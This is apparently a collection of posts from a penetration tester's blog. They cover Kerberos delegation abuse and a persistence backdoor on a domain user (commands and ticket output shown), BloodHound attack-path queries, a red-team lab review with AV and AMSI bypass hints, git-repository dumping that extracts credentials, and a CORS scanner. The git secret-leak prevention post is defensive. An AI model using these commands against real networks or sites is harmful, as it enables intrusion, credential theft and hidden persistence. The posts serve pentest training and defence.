      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
      TE9DQUypFTAToAMCAQKhDDAKGwRjaWZzGwJkYw==
[+] Ticket successfully imported!

We do have our service ticket for CIFS/DC in the name of WINDOMAIN\Administrator :

C:\tools> klist
...
#1>     Client: Administrator @ WINDOMAIN.LOCAL
        Server: cifs/dc @ WINDOMAIN.LOCAL
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate name_canonicalize
        Start Time: 9/25/2020 18:05:46 (local)
        End Time:   9/26/2020 4:05:07 (local)
        Renew Time: 10/2/2020 18:05:07 (local)
        Session Key Type: AES-128-CTS-HMAC-SHA1-96
        Cache Flags: 0
        Kdc Called:
...

Let’s test it out:

C:\tools>dir \\DC\C$
 Volume in drive \\DC\C$ is Windows 2019
 Volume Serial Number is 28C8-9A14

 Directory of \\DC\C$

09/27/2020  08:50 AM    <DIR>          PerfLogs
09/27/2020  08:06 AM    <DIR>          Program Files
09/27/2020  08:00 AM    <DIR>          Program Files (x86)
10/20/2020  01:07 PM    <DIR>          tmp
09/27/2020  08:00 AM    <DIR>          Users
10/20/2020  01:26 PM    <SYMLINKD>     vagrant [\\vboxsvr\vagrant]
10/20/2020  01:10 PM    <DIR>          Windows
               0 File(s)              0 bytes
               7 Dir(s)  36,839,563,264 bytes free

Persistence

To set the TRUSTED_TO_AUTH_FOR_DELEGATION attribute, we need the SeEnableDelegationPrivilege.

Fortunately Microsoft protect any user from setting this flag unless they are listed in the User Rights Assignment setting “Enable computer and user accounts to be trusted for delegation” (SeEnableDelegationPrivilege) on the Domain Controller. So by default only members of BUILTIN\Administrators (i.e. Domain Admins/Enterprise Admins) have the right to modify these delegation settings.

An interesting persistence method consists, from a compromised user with the SeEnableDelegationPrivilege privilege, in setting the TRUSTED_TO_AUTH_FOR_DELEGATION value on another lambda compromised user that can be delegated, and to edit the mDS-AllowedToDelegateTo field with the SPN CIFS/DC for example, allowing to replay the attack.

T2A4D on an arbitrary domain user

You have compromised a privileged user, however the protected groups are supervised by the SOC, they have their security descriptors reset by the SDProp mechanism (AdminSDHolder), etc, so many elements that make you say that you would like to backdoor a user who can spend as much time as possible under the radars (let’s hope however that a delegation to a DC is supervised by the SOC).

Let’s play this method in our lab. The bleponge user is the most banal domain user, admin01 is what you have been sweating for the last few days:

PS C:\> WMIC OS Get Name
Name
Microsoft Windows 10 Education N|C:\Windows|\Device\Harddisk0\Partition2

PS C:\> whoami
windomain\admin01

PS C:\> net user admin01 /domain | Select-String "Group"

Local Group Memberships
Global Group memberships     *Domain Users         *Domain Admins

PS C:\> net user bleponge /domain | Select-String "Group"

Local Group Memberships
Global Group memberships     *Domain Users

PS C:\> Get-ADObject -Identity bleponge -Properties distinguishedName,samAccountName,samAccountType,userAccountControl,msDS-AllowedToDelegateTo,servicePrincipalName | fl

useraccountcontrol : NORMAL_ACCOUNT
distinguishedname  : CN=Bob ble. Leponge,CN=Users,DC=windomain,DC=local
samaccountname     : bleponge
samaccounttype     : USER_OBJECT

PS C:\> Get-ADUser -Identity bleponge | Set-ADAccountControl -TrustedToAuthForDelegation $True
PS C:\> Set-ADUSer -Identity bleponge -Add @{'msDS-AllowedToDelegateTo'=@('CIFS/DC.WINDOMAIN.LOCAL','CIFS/DC')}
PS C:\> Set-ADObject -Identity bleponge -SET @{serviceprincipalname='nonexistent/BLAHBLAH'}
PS C:\> Get-ADObject -Identity bleponge -Properties distinguishedName,samAccountName,samAccountType,userAccountControl,msDS-AllowedToDelegateTo,servicePrincipalName | fl

useraccountcontrol       : NORMAL_ACCOUNT, TRUSTED_TO_AUTH_FOR_DELEGATION
serviceprincipalname     : nonexistent/BLAHBLAH
msds-allowedtodelegateto : {CIFS/DC, CIFS/DC.WINDOMAIN.LOCAL}
distinguishedname        : CN=Bob ble. Leponge,CN=Users,DC=windomain,DC=local
samaccountname           : bleponge
samaccounttype           : USER_OBJECT

Take care with the command Set-ADObject -Identity bleponge -SET @{serviceprincipalname='nonexistent/BLAHBLAH'}.
Indeed, in order for the S4U2Self mechanism to work with Rubeus, a SPN must be set on the bleponge user, otherwise an exception will be propagated:

...
[!] Unhandled Rubeus exception:

System.NullReferenceException: Object reference not set to an instance of an object.
   at Rubeus.S4U.S4U2Proxy(KRB_CRED kirbi, String targetUser, String targetSPN, String outfile, Boolean ptt, String domainController, String altService, KRB_CRED tgs, Boolean opsec)
   at Rubeus.S4U.Execute(KRB_CRED kirbi, String targetUser, String targetSPN, String outfile, Boolean ptt, String domainController, String altService, KRB_CRED tgs, String targetDomainController, String targetDomain, Boolean s, Boolean opsec, String requestDomain, String impersonateDomain)
   at Rubeus.Commands.S4u.Execute(Dictionary`2 arguments)
   at Rubeus.Domain.CommandCollection.ExecuteCommand(String commandName, Dictionary`2 arguments)
   at Rubeus.Program.MainExecute(String commandName, Dictionary`2 parsedArgs)

Now all you have to do is to go back to our Exploitation section and to reproduce the attack in the context of our bleponge user.

Testing with the HOST service class (HOST/DC), it was impossible for us to list our share \\DC\C$. This has already been encountered by pixis.

SeEnableDelegationPrivilege

We can also create a backdoor for a user by assigning him the SeEnableDelegationPrivilege, so that this user can set the TRUSTED_TO_AUTH_FOR_DELEGATION and write the msDS-AllowedToDelegateTo field on another resource (https://www.harmj0y.net/blog/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/).

The End

Feel free to comment / ask your questions. You can also contact me on Twitter.

See you soon.

Phackt.

More BloodHound Cypher queries

2020-10-04T00:00:00+00:00

Hello,

In this blog post i will share my Cypher queries which i’m using in my daily engagements. I aim to be complementary to the cheatsheets you can found out there and to the default queries you will find in BloodHound.

I will also comment these ones if needed to provide further information.

First a word about logon sessions enumeration :

Logon sessions enumeration is really important to know who is loggedon on which machine and from where. When the NetSessionEnum API is called, no privilege is needed to have at least two levels of information, 0 and 10. We just need to be Authenticated Users.

You also can continuously enumerate logon sessions thanks to BloodHound ingestor:
SharpHound.exe -c SessionLoop

Find also a great article about Bloodhound, its sessions enumeration and the NetCease script remediation here.

Queries

Count the distinct users logon sessions on a domain :

MATCH (u1:user)
WITH count(u1) as totalUsers
MATCH (c:Computer)-[r:HasSession]->(u2:User)
RETURN COUNT(DISTINCT(u2))

Get All computers with their users logon sessions :

MATCH c=(C:Computer)-[r2:HasSession*1]-(U:User) 
WHERE U.name =~ ".*" return c

Get computers having a session from usernames like “ADM.*” (matching specific OS) :

MATCH p=((S:Computer)-[r:HasSession*1]->(T:User))
WHERE T.name =~ "ADM.*"
AND S.operatingsystem =~ ".*XP.*"
RETURN p

Find all Domain Admins :

MATCH (n:Group) WHERE n.objectid =~ "(?i)S-1-5-21-.*-512" WITH n MATCH p=(n)<-[r:MemberOf*1..]-(m) RETURN n,r,m

For all Well-known security identifiers: https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/security-identifiers-in-windows.

Find all Domain Admins (nested SID S-1-5-21-.*-512) having a session opened on a domain computer :

MATCH (m:User)-[r:MemberOf*1..]->(n:Group) WHERE n.objectid =~ "(?i)S-1-5-.*-512" WITH m MATCH q=((m)<-[:HasSession]-(o:Computer)) RETURN q

Show all high value target principals :

MATCH (m {highvalue:true}) RETURN m

List of unique users with a path to a “highvalue” targets :

MATCH (u:User) MATCH (g {highvalue:true}) MATCH p = shortestPath((u:User)-[r:AddMember|AdminTo|AllExtendedRights|AllowedToDelegate|CanRDP|Contains|ExecuteDCOM|ForceChangePassword|GenericAll|GenericWrite|GpLink|HasSession|MemberOf|Owns|ReadLAPSPassword|TrustedBy|WriteDacl|WriteOwner|GetChanges|GetChangesAll*1..]->(g)) RETURN DISTINCT(u.name) AS USER, u.enabled as ENABLED,count(p) as PATHS order by u.name

Shortest paths from Domain Users to “highvalue” targets :

MATCH p=shortestPath((g:Group {name:"DOMAIN USERS@PHACKT.LOCAL"})-[*1..]->(n {highvalue:true})) WHERE g.objectid ENDS WITH '-513' AND g<>n return p

Find user with a username like “ADM.*” who logged on a computer which has a owned local admin :

MATCH c=(U:User {owned:true})-[r:AdminTo*1]-(C:Computer)-[r2:HasSession*1]-(P:User) WHERE P.name =~ "A_.*" return c

Find all edges that a “specific user” has against all the nodes (HasSession is not calculated, as it is an edge that comes from computer to user, not from user to computer) :

MATCH (n:User) WHERE n.name =~ 'HELPDESK@DOMAIN.GR' MATCH (m) WHERE NOT m.name = n.name MATCH p=allShortestPaths((n)-[r:MemberOf|HasSession|AdminTo|AllExtendedRights|AddMember|ForceChangePassword|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner|CanRDP|ExecuteDCOM|AllowedToDelegate|ReadLAPSPassword|Contains|GpLink|AddAllowedToAct|AllowedToAct|SQLAdmin*1..]->(m)) RETURN p

Find all the edges that any UNPRIVILEGED user (based on the admincount:False) has against all the nodes :

MATCH (n:User {admincount:False}) MATCH (m) WHERE NOT m.name = n.name MATCH p=allShortestPaths((n)-[r:MemberOf|HasSession|AdminTo|AllExtendedRights|AddMember|ForceChangePassword|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner|CanRDP|ExecuteDCOM|AllowedToDelegate|ReadLAPSPassword|Contains|GpLink|AddAllowedToAct|AllowedToAct|SQLAdmin*1..]->(m)) RETURN p

MATCH (n:User {admincount:False}) MATCH (m:User) WHERE NOT m.name = n.name MATCH p=allShortestPaths((n)-[r:AllExtendedRights|ForceChangePassword|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner*1..]->(m)) RETURN p

MATCH (n:User {admincount:False}) MATCH p=allShortestPaths((n)-[r:AllExtendedRights|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner|AdminTo|CanRDP|ExecuteDCOM|ForceChangePassword*1..]->(m:Computer)) RETURN p

Find if unprivileged users have rights to add members into groups :

MATCH (n:User {admincount:False}) MATCH p=allShortestPaths((n)-[r:AddMember*1..]->(m:Group)) RETURN p

Find only the AdminTo privileges (edges) of the domain users against the domain computers :

MATCH p1=shortestPath(((u1:User)-[r1:MemberOf*1..]->(g1:Group))) MATCH p2=(u1)-[:AdminTo*1..]->(c:Computer) RETURN p2

Find which groups canRDP to computers :

MATCH (n:Group) MATCH (m:Computer) MATCH p=allShortestPaths((n)-[r:CanRDP*1..]->(m)) RETURN p

The canRDP edge runs from a user or a group to a computer and incates that the principals are part of the Remote Desktop Users local group on the target system.

Find what groups have local admin rights :

MATCH p=(m:Group)-[r:AdminTo]->(n:Computer) RETURN m.name, n.name ORDER BY m.name

Find what users have local admin rights :

MATCH p=(m:User)-[r:AdminTo]->(n:Computer) RETURN m.name, n.name ORDER BY m.name

Mark a user as owned :

MATCH (n:User) WHERE n.name STARTS WITH toUpper('brobin') SET n.owned=true RETURN n

Displays all GPOs :

Match (n: GPO) return n

Displays all GPOs containing a “keyword” in their name :

Match (n: GPO) WHERE n.name CONTAINS "SERVER" return n

Find if a domain user has some interesting rights on a GPO :

MATCH p = (u: User) - [r: AllExtendedRights | GenericAll | GenericWrite | Owns | WriteDacl | WriteOwner | GpLink * 1 ..] -> (g: GPO) RETURN p LIMIT 25

If i have some fresh queries, i will post them on this page regularly.

If you also want to contribute: here is the repo.

Wish you a good day,
Phackt.

SecurityTube Advanced Red Team Lab training - Worth it ?

2020-09-22T00:00:00+00:00

Quick answer: Totally !

Hello everybody,

I would like to talk a bit about the SecurityTube red team labs, specifically the Advanced Red Team Lab which leads to the CRTE (Certified Red Team Expert) certification. P.S: i’m not affiliated with securitytube.

Some great reviews are already existing, so i will focus on why i chose this lab and certification. I will give you some hints about how to approach your targets. Most importantly, i would like to introduce you a tool that i developped which will help you during your journey, Invoke-Recon.

Context

I was looking for a another professional and challenging cert focused on Windows AD. My prerequisites were:

no jeopardy style
real life scenarios which will be found in real engagements
a environment not too crowded. I met this situation with others platforms and i spent much of my time contacting the support to revert the VMs because of others bad exploitation or persistence, getting the machines you’re working on totally unstable.

Finally the Advanced Red Team Lab was the answer.

Companies are more and more looking for online qualitative trainings because of the actual sanitary crisis. Think to ask to your company for a financial support.

What i really liked

Reactive and helpful support
Updated servers and workstations with AppLocker, AV running and Powershell in Constrained Language Mode.
Relevant AD exploitation paths and local privilege escalation
Nikhil Mittal and his team are really friendly and you definitely can contact them on twitter to share your thoughts on this lab

And why not, while you’re diving into this journey, you may probably see how the tools you are using may be improved to match your needs (don’t hesitate to PR - mine with PowerUpSQL) or may be you will develop your own tool. What i mean is that this is a virtuous circle, you will learn and you will share with the infosec community.

What should be / will be improved

The possibility to revert VMs on our own during lab and cert (in dev on their side)

What you will learn

Obviously, the difficulty level depends on your experience as a pentester, but be sure that after this cert you will be able to :

Properly enumerate an AD (basic / more complex stuff) and which tools to use (we will about it later)
Find AD exploitation paths, weak ACLs
Spearphish users
Exploit Kerberos delegation and to know how the S4U extensions are working (for ex: kerberos constrained delegation with protocol transition)
Exploit domain / forest trusts (SID Filtering, SID History, …)
Exploit MSSQL servers (this part was really interesting as i did not have so many opportunities to exploit MSSQL instances during engagements)
Find your way to perform local privilege escalation on fully patched servers with AppLocker and AV running
Many other cool stuff

Hints (that you may not find in others blog posts)

Your will start as domain user on a Windows Server where you will be able to RDP. I advice you to get SYSTEM on this machine, to disable Defender and some restrictive Firewall and AppLocker rules. Then take off your shoes and feel comfortable at home.

I mainly used this Windows VM but i also had my Kali. In order to be able to proxyfy my Kali tools, i used ssf and proxychains.

Sometimes in this lab you will be able to move forward the unintended ways, i mean with your own kind of exploitation (to give you just an idea, read this blog post from itm4n). Even if you succeed in compromising all the forests, i would strongly recommend you to try to get the all the boxes the intended way, because you may miss something for the D-day.

Also do not overlook the post exploitation part. And don’t forget to note where you struggled at, during the exam it will be a pity to lose time on a thing you already faced.

Not so many services will be exposed, and you also will be firewalled.

Talking about firewalling, we agree that sometimes it’s more comfortable to have a RDP session rather than any command line session. In the following example we will assume that we have a shell on a server and we have just a few ports which are accessible. 5985 is a good candidate but WinRM is already running on the server.

In the following example, be aware that if you execute the following commands from a Remote Powershell session, you will be disconnected because we set the RDP listen port to 5985, so we will have to sc.exe stop WinRM before running Remote Desktop Service.

Set RDP listen port and start the Remote Desktop service ‘without rebooting’:

Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -name "UserAuthentication" -Value 1
Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\" -Name PortNumber -Value 5985
sc.exe stop WinRM

Then run:

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

Tools

Now let’s talk a bit about an interesting part, what kind of tools did i have on my Windows VM (did not mean i used all of them) ? Here is my list :

Tool	Description
ADModule	Use AD powershell module for enumeration without installing RSAT
amsi-bypass.ps1	`[Bypass.A_M_S_I]::Disable()`
nmap	Network Mapper
agentransack	Fast files / directories crawler
mimikatz	Do we really have to introduce this tool ?
nc64.exe	Netcat
Nishang	Exploitation framework from Nikhil “SamratAshok” Mittal
Empire -> Invoke-DCSync.ps1	DCSync
PowerSploit -> PowerView.ps1	AD Enumeration - Harmjoy Powerview 3 tricks
PowerSploit -> Invoke-Mimikatz.ps1	Mimikatz thanks to Powershell
PowerSploit -> Invoke-PortScan.ps1	Ports scanner in Powershell
PowerSploit -> Invoke-TokenManipulation.ps1	Manipulate logon token and create impersonation token
Invoke-SDPropagator.ps1	Invoke SDPropagator mechanism - for example if you backdoored the AdminSDHolder
Invoke-SocksProxy.psm1	Proxy socks in Powershell
IPv4PortScan.ps1	Another ports scanner in Powershell
powercat.ps1	Netcat in Powershell
Set-LHSTokenPrivilege.ps1	Enable / disable your local privileges
PowerUpSQL	MSSQL exploitation framework
PrintSpoofer.exe	Exploit the printer bug locally
PrivescCheck	Find privesc
Rubeus	Useful when you will have to deal with kerberos tickets
BloodHound	Find AD exploitation paths
SpoolSample	Connect to the RPC RpcRemoteFindFirstPrinterChangeNotification to trigger the printer bug
ssf	Tunneling tool
SysinternalsSuite	All MS utilities
lolbas	Living Off The Land Binaries and Scripts

And last but not least, as i said previously this journey was a good opportunity to gather a lot of my recon commands in one single Powershell tool: Invoke-Recon.

Believe me, if you are doing this lab and want to pass this cert, Invoke-Recon + BloodHound will be the perfect journey companions. Invoke-Recon has been developed based on the Advanced Red Team Lab.

More to come

To keep on talking about AD enumeration, i would like to share with you some of my Cypher queries i use with BloodHound to spot some very interesting stuff during an engagement. I will also dive a bit more into Invoke-Recon.

Keep in touch, and don’t hesitate if you wanna more information about this lab, if you are stuck or anything else, i’m always glad to help. I answer back to a lot of questions by email or twitter, some dealing with my switch from web developer to technical auditor for the french gouvernment. Contact me.

Wish you a nice day, may the force be with you (i let you choose which side).

Phackt.

What solutions to prevent git leaks ?

2020-05-27T00:00:00+00:00

Hello,

I will do a quick and dirty post about what’s out there to find / prevent leaks of secrets in your git repositories.
I did not try all of these tools. For the search part, i’m mainly using a fork of Trufflehog with some added features (search in filenames, commits comments, also with custom regexes).

Objectives :

Look into the commits history for sensitive information publicly accessible by an attacker ;
Prevent secrets leaks ;
Monitoring and integrating these checks in the Continous Delivery process - aka DevSecOps

Tools to look for sensitive data :

TRUFFLEHOG

Written in Python
Also works for local repo
Strings with high entropy
Custom regex rules
No search in commits comments or filenames

GITROB

Written in Go
Renders results in a Web App
Do not work for local repo AFAIK

REPO-SUPERVISOR

Written in NodeJS
Generates HTML reports

GIT-ALL-SECRETS

Written in Go
Using / merging results of Trufflehog and Repo-Supervisor

GITLEAKS

Written in Go
regex and entropy

SSHGIT

Written in Go
Renders results in a Web App
Monitors GIT repositories - Be the first to catch the secret before it gets deleted from git history
shhgit will watch real-time stream and pull out any accidentally committed secrets

Prevent commits :

What is a Git Hook ? As described here:

Like many other Version Control Systems, Git has a way to fire off custom scripts when certain important actions occur. There are two groups of these hooks: client-side and server-side. Client-side hooks are triggered by operations such as committing and merging, while server-side hooks run on network operations such as receiving pushed commits. You can use these hooks for all sorts of reasons.

Security is a good one.

What kind of hooks can used to prevent leak at an early stage of the git workflow? :

pre-commit: Used to check if any of the files changed in the commit use prohibited patterns.

commit-msg: Used to determine if a commit message contains a prohibited patterns.

prepare-commit-msg: Used to determine if a merge commit will introduce a history that contains a prohibited pattern at any point. Please note that this hook is only invoked for non fast-forward merges.

Client-side hooks :

GITHOUND

You have to set GitHound command into a pre-commit hook
Regexes are configured in .githound.yml

GIT-SECRETS

From AWS team
You also can manually scan for secrets before making your repo public: git secrets --scan-history

GITHUB actions :

GitHub Actions enables you to create custom software development life cycle (SDLC) workflows directly in your GitHub repository.

GITHUB scanning project :

Github has a project which aims at monitoring leaked third parties tokens from your repositories: https://help.github.com/en/github/administering-a-repository/about-secret-scanning.

Once identified, Github will warn you and will request the provider (from the following list) in an automated way to ask for the immediate revokation of your leaked tokens:

Adafruit
Alibaba Cloud
Amazon Web Services (AWS)
Atlassian
Azure
Clojars
CloudBees CodeShip
Databricks
Datadog
Discord
Doppler
Dropbox
Dynatrace
Finicity
Frame.io
GitHub
GoCardless
Google Cloud
Hashicorp Terraform
Hubspot
Mailchimp
Mailgun
MessageBird
npm
NuGet
Palantir
Plivo
Postman
Proctorio
Pulumi
Samsara
Shopify
Slack
SSLMate
Stripe
Tencent Cloud
Twilio

Finally what to conclude :

For each leaked secrets linked to an environment which could be targeted by an adversary :

Revoke / update the secret (password, any token / private key, …) as quick as possible ;
Update the git commits history

More globally :

Warn the stakeholders involved in this data leak (users, providers, …) ;
Check log files to detect former fraudulent access ;
Prevent the versioning of sensitive data (via .gitignore and set hooks to monitor your commits) ;
Include the secret scanning process as part as your continuous delivery process (build factory). For example for Github CI see the Github actions Trufflehog and Gitleaks as aforementioned.

See you soon, next posts will be more internal pentesting / windows oriented,
Cheers.

Gathering some information from web exposed GIT repositories

2018-08-05T00:00:00+00:00

Hello folks,

Last week, while i was doing recon on some websites, i noticed that we can still found some versioning repositories in production. I found some classic .git exposed, and in a lesser extent some .svn directories. I decided to gather a bunch of websites caught in the TOP Alexa in order to look for the proportion of .git exposed; with 112332 domains scanned (mixed TLDs), i found 453 .git exposed, which is only 0.4%. Not bad.

How to scan for web exposed git directories:
nmap --open -PN -n -p80,81,82,8000,8080,443,8443,9443 --script http-git -oA http-git -iL domains.lst

N.B: this NSE script will perform HTTP requests thanks to input FQDNs (vhosting)

Some developers may clone repository specifying their login and password as part of the url, setting this remote origin in the git configuration. For example, once your nmap done, you can spot some login:password playing with this command:

$ grep -A1 Remotes http-git.nmap | grep -E ":.*:[^:]*@.*" | awk '{print $2}'
https://apixxxxxx:[redacted]@github.com/apixxxxxx/apixxxxxx.git
http://deploy:[redacted]@10.0.0.4:7990/scm/[redacted]/portal.git
...

However i was looking for other information, for example:

repository’s activity; last commit date for each branch
repo directory traversal (great to download the whole repo)
highlights remote url
displays .git/config and .gitignore files

Knowing a bit of a .git repository layout will allow to easily retrieve this information even if you don’t have any directory traversal.
That’s why i created a bash script gathering this information which you can find here.

If a repository seems interesting and has directory traversal and/or leaks in its remote url some credentials, you can simply download or clone the repository. For example to download the whole repo you can do the following:

$ wget --recursive --no-parent http://localhost/phackt.github.io/.git/ && \
cd localhost/phackt.github.io && \
git reset --hard

Now what happens if you didn’t find any creds (most of the cases) and directory traversal is not enabled ? I will not reinvent the wheel and advice you to read this article amongst others.

$ curl -I http://localhost/phackt.github.io/.git/
HTTP/1.1 403 Forbidden
Date: Sat, 11 Aug 2018 17:00:04 GMT
Server: Apache/2.4.33 (Debian)
Content-Type: text/html; charset=iso-8859-1

I gave a try to another git dumper tool:

$ git clone https://github.com/arthaud/git-dumper.git && cd git-dumper
$ pip install -r requirements.txt
$ ./git-dumper.py http://localhost/phackt.github.io/.git/ /tmp/repo
[-] Testing http://localhost/phackt.github.io/.git/HEAD [200]
[-] Testing http://localhost/phackt.github.io/.git/ [403]
[-] Fetching common files
[-] Fetching http://localhost/phackt.github.io/.git/COMMIT_EDITMSG [200]
[-] Fetching http://localhost/phackt.github.io/.git/description [200]
[-] Fetching http://localhost/phackt.github.io/.git/hooks/commit-msg.sample [200]
[-] Fetching http://localhost/phackt.github.io/.git/hooks/post-commit.sample [302]
[-] Fetching http://localhost/phackt.github.io/.git/hooks/post-receive.sample [302]
[-] Fetching http://localhost/phackt.github.io/.git/hooks/applypatch-msg.sample [200]
[-] Fetching http://localhost/phackt.github.io/.git/hooks/pre-applypatch.sample [200]
[-] Fetching http://localhost/phackt.github.io/.git/hooks/pre-commit.sample [200]
...
[-] Running git checkout .

We can now inspect our freshly rebuilt repository:

$ cd /tmp/repo && ls -1
about.md
categories.md
CNAME
_config.yml
feed.xml
_includes
index.html
_layouts
POC
_posts
public
_sass

See you soon,
Cheers.

Play with permissive CORS

2017-12-24T00:00:00+00:00

Hello folks,

While i was playing with a ‘code search engine’ tool called publicwww, i decided to gather some top Alexa domains and to look for some permissive CORS. I tried the following researches, site:fr "type=\"password\"", the same for the TLDs .org and .com, in order to spot webpages with a login form, meaning authenticated users..

I will let you play with publicwww, remember that you are limited with basic access but if you pay you will have access to the top 200000 Alexa websites dealing with your request. May be you also wanna play with Shodan or Censys.

Automate permissive CORS detection

We already talked about Cross Origin Ressource Sharing in some previous posts. You also have a great explanation about the Same Origin Policy on mozilla.org. A website with permissive CORS will allow an attacker to perform any requests to this website from another ressource and this request can include the victim’s cookies (xhr.withCredentials = true).

So if the cookie’s session is reflected, you will be able to steal it and forge the victim’s session. You will be able to change the victim’s password if the former one is not requested, read some sensitive account information, …. Remember that because now you can READ the response, you also can read the CSRF token and bypass the protection.

So once i gathered enough interesting domains and urls from OSINT tools, and got a bunch of ones dealing with bug some bounty programs, i decided to be original and to create a tool called cors.py (DEPRECATED right now, check below).

This tool reads a list of domains and/or urls and will HTTP request them, adding the Origin header of your choice, example:
Origin: https://phackt.org.

It will finally detects a permissive cors if the response header Access-Control-Allow-Origin is set to null or if the origin header’s value is reflected, and if the response header Access-Control-Allow-Credentials is set to true (permissive CORS is relevant only if you can read from request including victim’s cookies). You also can detect some strings in the response headers (see config.json) and configure other parameters like the number of threads, the user agent, the response timeout, and so on.

HOW TO

$ ./cors.py -h
usage: cors.py [-h] [-f URLSFILE] [-r]

Looking for some permissive CORS

optional arguments:
  -h, --help            show this help message and exit
  -f URLSFILE, --file URLSFILE
                        file with urls
  -r, --redirect        allow redirect in requests

Example of output:

$ ./cors.py -f /tmp/sitecomtypepassword.txt 
Processing 230 lines
Launching 20 threads
open cors found for url http://asiaroom.com/
open cors found for url http://aksekiyapi.com/
open cors found for url http://baseshare.com/
open cors found for url http://fitwall.com/
open cors found for url http://h10.edmarkreadingonline.com/
open cors found for url http://ermresearch.com/
open cors found for url http://ellysdirectory.com/
...

UPDATE 01/07/2020:I’m strongly suggesting right now to use this complete tool of which i merged most of CORS detecting features: https://github.com/chenjj/CORScanner.

This tool gathers everything you need to detect an exploitable CORS misconfiguration :

Misconfiguration type	Description
Reflect_any_origin	Blindly reflect the Origin header value in `Access-Control-Allow-Origin headers` in responses, which means any website can read its secrets by sending cross-orign requests.
Prefix_match	`wwww.example.com` trusts `example.com.evil.com`, which is an attacker’s domain.
Suffix_match	`wwww.example.com` trusts `evilexample.com`, which could be registered by an attacker.
Not_escape_dot	`wwww.example.com` trusts `wwwaexample.com`, which could be registered by an attacker.
Substring match	`wwww.example.com` trusts `example.co`, which could be registered by an attacker.
Trust_null	`wwww.example.com` trusts `null`, which can be forged by iframe sandbox scripts
HTTPS_trust_HTTP	Risky trust dependency, a MITM attacker may steal HTTPS site secrets
Trust_any_subdomain	Risky trust dependency, a subdomain XSS may steal its secrets
Custom_third_parties	Custom unsafe third parties origins like `github.io`, see more in origins.json file. Thanks @phackt!
